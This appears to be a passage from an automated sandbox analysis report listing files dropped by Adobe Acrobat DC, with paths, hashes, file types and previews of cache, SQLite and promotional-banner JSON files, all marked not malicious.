Preview:	2024/04/26-22:18:01.577 1b30 Creating DB C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\shared_proto_db since it was missing..2024/04/26-22:18:01.586 1b30 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\shared_proto_db/MANIFEST-000001.

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\shared_proto_db\MANIFEST-000001

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\shared_proto_db\metadata\000001.dbtmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\shared_proto_db\metadata\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	126
Entropy (8bit):	3.6123534208443075
Encrypted:	false
SSDEEP:	3:G0XttkJcsRwI9tkJcsSaJkG3mH2lztzlkzXlfmH2lG:G0XtqcsqczaJf3mH2lztzl4mH2lG
MD5:	A05963DD9E2C7C3F13C18A9245AD5934
SHA1:	15A87493591860C6C22499DF3A705ACB3CB466BD
SHA-256:	F40B7EF0FE0B676871403B8DD21CE42AF8E482DC8B81F09D93CB2C48CCD112B4
SHA-512:	E67833950A3DB8D4C27FC851C7DF9AEBB85699024F805E98A2951E9E9FC3B606F10EAD23CE0A3B97484A18A9A52520540FB29787178BFEB9FBD8D46D0AA492A2
Malicious:	false
Preview:	.h.6.................__global... .t...................__global... ..7..................22_......u...................22_.....

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\shared_proto_db\metadata\CURRENT (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\shared_proto_db\metadata\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	303
Entropy (8bit):	5.160313789778051
Encrypted:	false
SSDEEP:	6:8sXUdXs1sHO2nKuAl9OmbzfXkrzs52KLlesXUqq2PsHO2nKuAl9OmbzfXkrzAdIg:8sEVLHVHAa8/N9LUsEqvkHVHAa8/iFUv
MD5:	E61962FA40AC6A0EE0034DF96BAEA5DD
SHA1:	7F6DC1C55AA6060E5A85DB6F90D968F76E74B66C
SHA-256:	C7AF6BB84CEEC8F6465D5E6A058042F56C6D553631D94F06BE9EF28D662D3C68
SHA-512:	DC7E6016279C05D6C23CF3D6F79F650C9554A07B81A62D6690E7C2268BFEF9A06E700B9D4174DBE230895ADCE6E21B09F9F00ADE84BCAF55B9A197EEF1657453
Malicious:	false
Preview:	2024/04/26-22:18:01.564 1b30 Creating DB C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\shared_proto_db\metadata since it was missing..2024/04/26-22:18:01.574 1b30 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\shared_proto_db\metadata/MANIFEST-000001.

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\shared_proto_db\metadata\MANIFEST-000001

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ConnectorIcons\icon-240426201737Z-192.bmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PC bitmap, Windows 3.x format, 107 x -152 x 32, cbSize 65110, bits offset 54
Category:	dropped
Size (bytes):	65110
Entropy (8bit):	2.3471930292102066
Encrypted:	false
SSDEEP:	192:SzzzkIk7Ck7CkAkzk6k6k6kbkbkSkeBkvkeDkkkfkFOkXOk6k6k/ki4kok6k6kBe:ZZrMRjagaQ3fk5e0xFTj
MD5:	D745869B520BD3B02BDAD3CDCA9E6F7B
SHA1:	09AB17ABF3D0070F628BCACD7489E33EFCB03905
SHA-256:	C5EDCF0FC647A0E77BDFDC479ED217F8D34A5B6352E5B825E724EDBC6E3ED9D8
SHA-512:	25F84329C6E7A82CD201320EF59EC8460E139781FCED961A3154946C18AD60ABDAD1753D07A5869E5DBBF5BDE9DDFF1C0D583FA2B840115AD1B0006A15169302
Malicious:	false
Preview:	BMV.......6...(...k...h..... ...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 11, database pages 21, cookie 0x5, schema 4, UTF-8, version-valid-for 11
Category:	dropped
Size (bytes):	86016
Entropy (8bit):	4.44506656899495
Encrypted:	false
SSDEEP:	384:yeZci5tQiBA7aDQPsknQ0UNCFOa14ocOUw6zyFzqFkdZ+EUTTcdUZ5yDQhJL:Fns3OazzU89UTTgUL
MD5:	47BB215953E91777AE407123CB3170F7
SHA1:	A7FC3DF3664C60AB9951BE5B7DC9B3E817FA7CB0
SHA-256:	9A71DE7F682E3AD4EE53140B8E430E872891FEC7A429DE1F4A8254B213C26315
SHA-512:	B1C68ACA64810AC7FC2BC4C3FD56265BD0792EB0D237C0838F596EF937521847B223F9682769817D68A394CA499A57F8EB1A1BF2C2AB6261771A15EAD63D8375
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.......1........T...U.1.D............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	3.769998606556486
Encrypted:	false
SSDEEP:	48:7MBJioyVmioyAoy1C7oy16oy14KOioy1noy1AYoy1Wioy1oioykioyBoy1noy1O3:7iJumMDXjBi4b9IVXEBodRBkJ
MD5:	35D147EBBF5EA69B24A11E0748906728
SHA1:	6A5C8895E4C48AC390C401107256B9684F8A4403
SHA-256:	E1CF4FC06C03C0236C98AF83D73A3B68C355B195D04171F0851442FD013101E0
SHA-512:	850F4CACA97DA6FE406048051EFA5724C9C9B8985F2637E1AC7E4C8378D538ED6C865367C27601F945C75A282988F6301D887AB492D77458493A364FA34DAD7E
Malicious:	false
Preview:	.... .c......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................T...[...b.r.l...t...}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.366745629491971
Encrypted:	false
SSDEEP:	6:YEQXJ2HXbQ29cYN7jx6mJ0YucKoAvJM3g98kUwPeUkwRe9:YvXKXbQ29cS7jx6mhGMbLUkee9
MD5:	C8D3B7ABCFE1C708BB1A47E6C984CCA9
SHA1:	3D1B41708B795DA8572CF954607DF4C7FAC69BC0
SHA-256:	A35BB515D619713A91E969FF7CC7078F63290EF02042CF6A274584747425A7F7
SHA-512:	9F064B6ED9BD07446C3F5C8DBA135FED038F0DBC15E63D6799B9B36EE33756F3B13C6965FAA02289F43B4A43BCFCF0CC4CE6656CDAFC12CE6AFB2C18F2C12EF3
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"1d959b09-5e99-43f3-8295-8726e0c1a170","sophiaUUID":"94B2C178-E1F7-4D12-8BEA-76F4017C8DA0"},"encodingScheme":true,"expirationDTS":1714341519483,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.31495186031384
Encrypted:	false
SSDEEP:	6:YEQXJ2HXbQ29cYN7jx6mJ0YucKoAvJfBoTfXpnrPeUkwRe9:YvXKXbQ29cS7jx6mhGWTfXcUkee9
MD5:	61F90A84A7ED261B8B3427AFF27524CE
SHA1:	A42ABBD66F3BDF7DEF1F7F4675E24F19E0438C02
SHA-256:	58E94624C54E39F7CD79CD571AC0512C52AC46A1875BC3A3EFDA93EA9B80DFE7
SHA-512:	BD2A8A7D3F9F4C7BD8EEF5BAEECB69EA946255B92DC4F7700050B3F9DCFC909CE38FD0B12F4445EBDA0654676ACD2EFF51DD58F6290CF22E5A25DF947325C6D0
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"1d959b09-5e99-43f3-8295-8726e0c1a170","sophiaUUID":"94B2C178-E1F7-4D12-8BEA-76F4017C8DA0"},"encodingScheme":true,"expirationDTS":1714341519483,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.293946895708916
Encrypted:	false
SSDEEP:	6:YEQXJ2HXbQ29cYN7jx6mJ0YucKoAvJfBD2G6UpnrPeUkwRe9:YvXKXbQ29cS7jx6mhGR22cUkee9
MD5:	42DD74D9E916841E2A46A17C45A88B25
SHA1:	8067849DD655D87C665DB2E2C8BF943C3090CA29
SHA-256:	E621C59EC6E74538F521E02B32549117ACD3F66EF98ABB76399D9D0CA21E827D
SHA-512:	2205A6F34B901ACEE911FCEA9EF61958353352442386FD50A503E189D008DEFB74E21DD2EFF13F9785834880B69CA7F98AC68F3BEDE011039C60077D4666EFC9
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"1d959b09-5e99-43f3-8295-8726e0c1a170","sophiaUUID":"94B2C178-E1F7-4D12-8BEA-76F4017C8DA0"},"encodingScheme":true,"expirationDTS":1714341519483,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.35296078845459
Encrypted:	false
SSDEEP:	6:YEQXJ2HXbQ29cYN7jx6mJ0YucKoAvJfPmwrPeUkwRe9:YvXKXbQ29cS7jx6mhGH56Ukee9
MD5:	5847310A79E15329EF720A38ED1A66AA
SHA1:	D8C325F4C5EE70E18016AA1BCCB9D616CE24EA7F
SHA-256:	EB47D2CD47723BB1CDC0B687F119F1D91AC829DF52C798868A90B6BA9AC0A675
SHA-512:	8DDE6D5F2F2D15EF6B0952A0EB1549EDF797D3FDA8FDBAB89C6E5F8213EE1744ECFC0BA0FA73313AA3A6C20A249FACB5A4CD8A3AF457AF325CA45D493521B8DF
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"1d959b09-5e99-43f3-8295-8726e0c1a170","sophiaUUID":"94B2C178-E1F7-4D12-8BEA-76F4017C8DA0"},"encodingScheme":true,"expirationDTS":1714341519483,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.317751144982454
Encrypted:	false
SSDEEP:	6:YEQXJ2HXbQ29cYN7jx6mJ0YucKoAvJfJWCtMdPeUkwRe9:YvXKXbQ29cS7jx6mhGBS8Ukee9
MD5:	90D8715ED15B3D6997DA05C5EE2ECE4B
SHA1:	BCD4815CEDDFAC856F0F9322A2D05F9FB04E15D9
SHA-256:	B25AF7CAD9D00072BF489BEC86E9FF0E4AA82394ED3F6876775592CA382F7DB3
SHA-512:	42D445D274D3F9171395908F094A2543CE38CB25D417046D13164895071BF89450F6BEB95EEED3384F10EC78CE2D7772D5F7F4E10292982C239F85EC227D4790
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"1d959b09-5e99-43f3-8295-8726e0c1a170","sophiaUUID":"94B2C178-E1F7-4D12-8BEA-76F4017C8DA0"},"encodingScheme":true,"expirationDTS":1714341519483,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.304592430479149
Encrypted:	false
SSDEEP:	6:YEQXJ2HXbQ29cYN7jx6mJ0YucKoAvJf8dPeUkwRe9:YvXKXbQ29cS7jx6mhGU8Ukee9
MD5:	702BB3CAC9E1955BEA6565F66837D106
SHA1:	5F722F4E85BBAB08F50CAB6D94182502691A2A36
SHA-256:	022324D8B5D40C8F540693AC82D7C2D39CFCF8745D4E59A7D97D35EA08E2A794
SHA-512:	5A9114A60EBD09B68FFBCFDC052BDDC4DF55913C20F2B9B8FE0AB7C9DF27002060ADB634CE433CED64CC7E7439B43B87FCECCBC4E396300DF059323C12B61D08
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"1d959b09-5e99-43f3-8295-8726e0c1a170","sophiaUUID":"94B2C178-E1F7-4D12-8BEA-76F4017C8DA0"},"encodingScheme":true,"expirationDTS":1714341519483,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.305209650010694
Encrypted:	false
SSDEEP:	6:YEQXJ2HXbQ29cYN7jx6mJ0YucKoAvJfQ1rPeUkwRe9:YvXKXbQ29cS7jx6mhGY16Ukee9
MD5:	4DA3FA4EEECB9EC6901B03A62F2AD398
SHA1:	68FC6F2042E36098F56C120D1DEE4366D5DEE715
SHA-256:	CE07A794DC73F8C77AF885F6240D3D2B636A53869E52FFC060AB28D21542B3C6
SHA-512:	24E7706C1E0BBBDAE2B005A690A39FA6972E8F5013EEAE112FC97E2D2C37B155E1E9B8FF4C9E0AC383B082AA96B276E85377C1AB08602C093457DF6C5367C950
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"1d959b09-5e99-43f3-8295-8726e0c1a170","sophiaUUID":"94B2C178-E1F7-4D12-8BEA-76F4017C8DA0"},"encodingScheme":true,"expirationDTS":1714341519483,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.315026284787748
Encrypted:	false
SSDEEP:	6:YEQXJ2HXbQ29cYN7jx6mJ0YucKoAvJfFldPeUkwRe9:YvXKXbQ29cS7jx6mhGz8Ukee9
MD5:	BE9FD0DEA5261838ACF765AE37A8CAC5
SHA1:	4DB31DDB81B294DC9F266B3FC9AFFCC078D4C890
SHA-256:	9FB4E60CEB96290E0A450E2F86A5B9DEE811549AF317F43DDDE3B9F874E99C9C
SHA-512:	F0B8E1B285D06F82F6D549CA3F80113C54B29B6135933D9418686674B8CF532067BBC931EB9E2235B54A407A78BED90B6DDD1DEDFCA97DFED5C347FB75928C2C
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"1d959b09-5e99-43f3-8295-8726e0c1a170","sophiaUUID":"94B2C178-E1F7-4D12-8BEA-76F4017C8DA0"},"encodingScheme":true,"expirationDTS":1714341519483,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1372
Entropy (8bit):	5.741630334179561
Encrypted:	false
SSDEEP:	24:Yv6XD7d6SKLgENRcbrZbq00iCCBrwJo++ns8ct4mFJN1Y:Yv08SEgigrNt0wSJn+ns8cvFJo
MD5:	9623246C2BB68C1E5F3BBD7657C477D6
SHA1:	E115B2A56D1DB36E99644AA88B5522934D0A3052
SHA-256:	CAA60D5CD325D5C9FC2C3F33422A74BFA547974885207CFF9BDB602C3736CE0F
SHA-512:	9018683889C8E44B319D4709C0D5FD513AE004CD0B6CCA808168C3D99FCC2A44FE19F5AB8CFF6DB1578E59C885CB1E18A7DC99B8197BA3FE9FF94A70A139DE7D
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"1d959b09-5e99-43f3-8295-8726e0c1a170","sophiaUUID":"94B2C178-E1F7-4D12-8BEA-76F4017C8DA0"},"encodingScheme":true,"expirationDTS":1714341519483,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Home_LHP_Trial_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"79887_247329ActionBlock_0","campaignId":79887,"containerId":"1","controlGroupId":"","treatmentId":"acc56846-d570-4500-a26e-7f8cf2b4acad","variationId":"247329"},"containerId":1,"containerLabel":"JSON for DC_Reader_Home_LHP_Trial_Banner","content":{"data":"eyJjdGEiOnsidHlwZSI6ImJ1dHRvbiIsInRleHQiOiJUcnkgQWNyb2JhdCBQcm8ifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNSIsImZvbnRfc3R5bGUiOiIwIn0sImRlc2NyaXB0aW9uX3N0eWxpbmciOnsiZm9udF9zaXplIjoiMTMiLCJmb250X3N0eWxlIjoiLTEifSwidGl0bGUiOiJGcmVlIDctZGF5IHRyaWFsIiwiZGVzY3JpcHRpb24iOiJHZXQgdW5saW1pdGVkIGFjY2VzcyB0byBwcmVtaXVtIFBERiBhbmQgZS1zaWduaW5nIHRvb2xzLiIsImJ

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.311008711862153
Encrypted:	false
SSDEEP:	6:YEQXJ2HXbQ29cYN7jx6mJ0YucKoAvJfYdPeUkwRe9:YvXKXbQ29cS7jx6mhGg8Ukee9
MD5:	AC1BF932D97BFB3044B7E837242FA6D6
SHA1:	9AE00D4C668B66FC1E9309E09E0F131BE299EEB1
SHA-256:	293E05910B2DADA08C283499702C69355733501EF0C8038996C145B529DBCB0F
SHA-512:	400B842238FD157322C6B65E7E6D8862B9AF92D14492FF8D067D894A14EFF662A01B62E979AD53B1515E90DF5322A5563437BBB04CF5F6995179EDE5A60856FB
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"1d959b09-5e99-43f3-8295-8726e0c1a170","sophiaUUID":"94B2C178-E1F7-4D12-8BEA-76F4017C8DA0"},"encodingScheme":true,"expirationDTS":1714341519483,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1395
Entropy (8bit):	5.775591562004186
Encrypted:	false
SSDEEP:	24:Yv6XD7d6RrLgEGOc93W2JeFmaR7CQzttgBcu141CjrWpHfRzVCV9FJNtY:Yv08RHgDv3W2aYQfgB5OUupHrQ9FJM
MD5:	3B42E5837C35C4A2184E3C467F492BF4
SHA1:	6D8571E171AB38C72777B095B7F9DAF3DFB53ED4
SHA-256:	16DC89B794F3269A18732CB4D635E5053676AB482BCBE802A7B4C624B5F87DE5
SHA-512:	994795B7E77B1C29DB65DD2489804906D061E6E7CE55CA85434E0FD031E10C0EEA84E1070401901488CEE4A9471656C336EED551B99DD8C9D56B3E7ED7D2B594
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"1d959b09-5e99-43f3-8295-8726e0c1a170","sophiaUUID":"94B2C178-E1F7-4D12-8BEA-76F4017C8DA0"},"encodingScheme":true,"expirationDTS":1714341519483,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_RHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"57802_176003ActionBlock_0","campaignId":57802,"containerId":"1","controlGroupId":"","treatmentId":"d0374f2d-08b2-49b9-9500-3392758c9e2e","variationId":"176003"},"containerId":1,"containerLabel":"JSON for Reader DC RHP Banner","content":{"data":"eyJjdGEiOnsidHlwZSI6ImJ1dHRvbiIsInRleHQiOiJGcmVlIDctRGF5IFRyaWFsIiwiZ29fdXJsIjoiaHR0cHM6Ly9hY3JvYmF0LmFkb2JlLmNvbS9wcm94eS9wcmljaW5nL3VzL2VuL3NpZ24tZnJlZS10cmlhbC5odG1sP3RyYWNraW5naWQ9UEMxUFFMUVQmbXY9aW4tcHJvZHVjdCZtdjI9cmVhZGVyIn0sInVpIjp7InRpdGxlX3N0eWxpbmciOnsiZm9udF9zaXplIjoiMTQiLCJmb250X3N0eWxlIjoiMyJ9LCJkZXNjcmlwdGlvbl9zdHlsaW5nIjp7ImZvbnRfc2l6ZSI6IjEyIiwiZm9udF9zdHlsZSI6IjMifSwidGl0

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.294480148286104
Encrypted:	false
SSDEEP:	6:YEQXJ2HXbQ29cYN7jx6mJ0YucKoAvJfbPtdPeUkwRe9:YvXKXbQ29cS7jx6mhGDV8Ukee9
MD5:	AFDB6500A68546E5866CAE0CBB328382
SHA1:	FB68F0FA68B7BB52EE9CC87FB7DCAACB2FE8FDD8
SHA-256:	53C6E267F9183C337E7AE3D5FADE0990D96F30BD121A5ACADEF3D5732CCA68C1
SHA-512:	41ACBA10B5C6CD6744FE624DC68947A22291EA00CA094E7774F5619F35BEE1A15E7F866D00E130590C6FEF54A79C706027A95DD74C3BAAECDEF61C5F3E849286
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"1d959b09-5e99-43f3-8295-8726e0c1a170","sophiaUUID":"94B2C178-E1F7-4D12-8BEA-76F4017C8DA0"},"encodingScheme":true,"expirationDTS":1714341519483,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.295991363970385
Encrypted:	false
SSDEEP:	6:YEQXJ2HXbQ29cYN7jx6mJ0YucKoAvJf21rPeUkwRe9:YvXKXbQ29cS7jx6mhG+16Ukee9
MD5:	6F01434DE23CBCA1F0588CC35AC28A05
SHA1:	D2A49C3A93ECFEB4F116B77CDE045F0FE74408FD
SHA-256:	F6BC112C94E8B81E3026BDBC070D6ACB645F452467CDCF458F52EB7CBD327D57
SHA-512:	0A5251BCA542ED48B9A288CAF877DDCF3CF66003E1C1D8940C33154188CF61D654D27EC0AF9B0F37040076F17CE0B9F5C43A188AF531296267964D29C4ADDD79
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"1d959b09-5e99-43f3-8295-8726e0c1a170","sophiaUUID":"94B2C178-E1F7-4D12-8BEA-76F4017C8DA0"},"encodingScheme":true,"expirationDTS":1714341519483,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.317843840620301
Encrypted:	false
SSDEEP:	6:YEQXJ2HXbQ29cYN7jx6mJ0YucKoAvJfbpatdPeUkwRe9:YvXKXbQ29cS7jx6mhGVat8Ukee9
MD5:	7E050AE02ACFC524FC66F576D7E4EFD3
SHA1:	C39AD9FBB5AF8E2ABDE3D387F87F82997CA92436
SHA-256:	AA3EAEE6C810574DC0C4727C00BBD318D3DBC6A09B7F1A757D6725793D74B1D7
SHA-512:	99BA7E57EC27CE683979C03002786119B04AA153C9C22736520A4679DBBD1D84B1A6B44B38133A622D1CCFB6192CF03B5831F4D9006B2086CBA3DDDC7BB47D6F
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"1d959b09-5e99-43f3-8295-8726e0c1a170","sophiaUUID":"94B2C178-E1F7-4D12-8BEA-76F4017C8DA0"},"encodingScheme":true,"expirationDTS":1714341519483,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

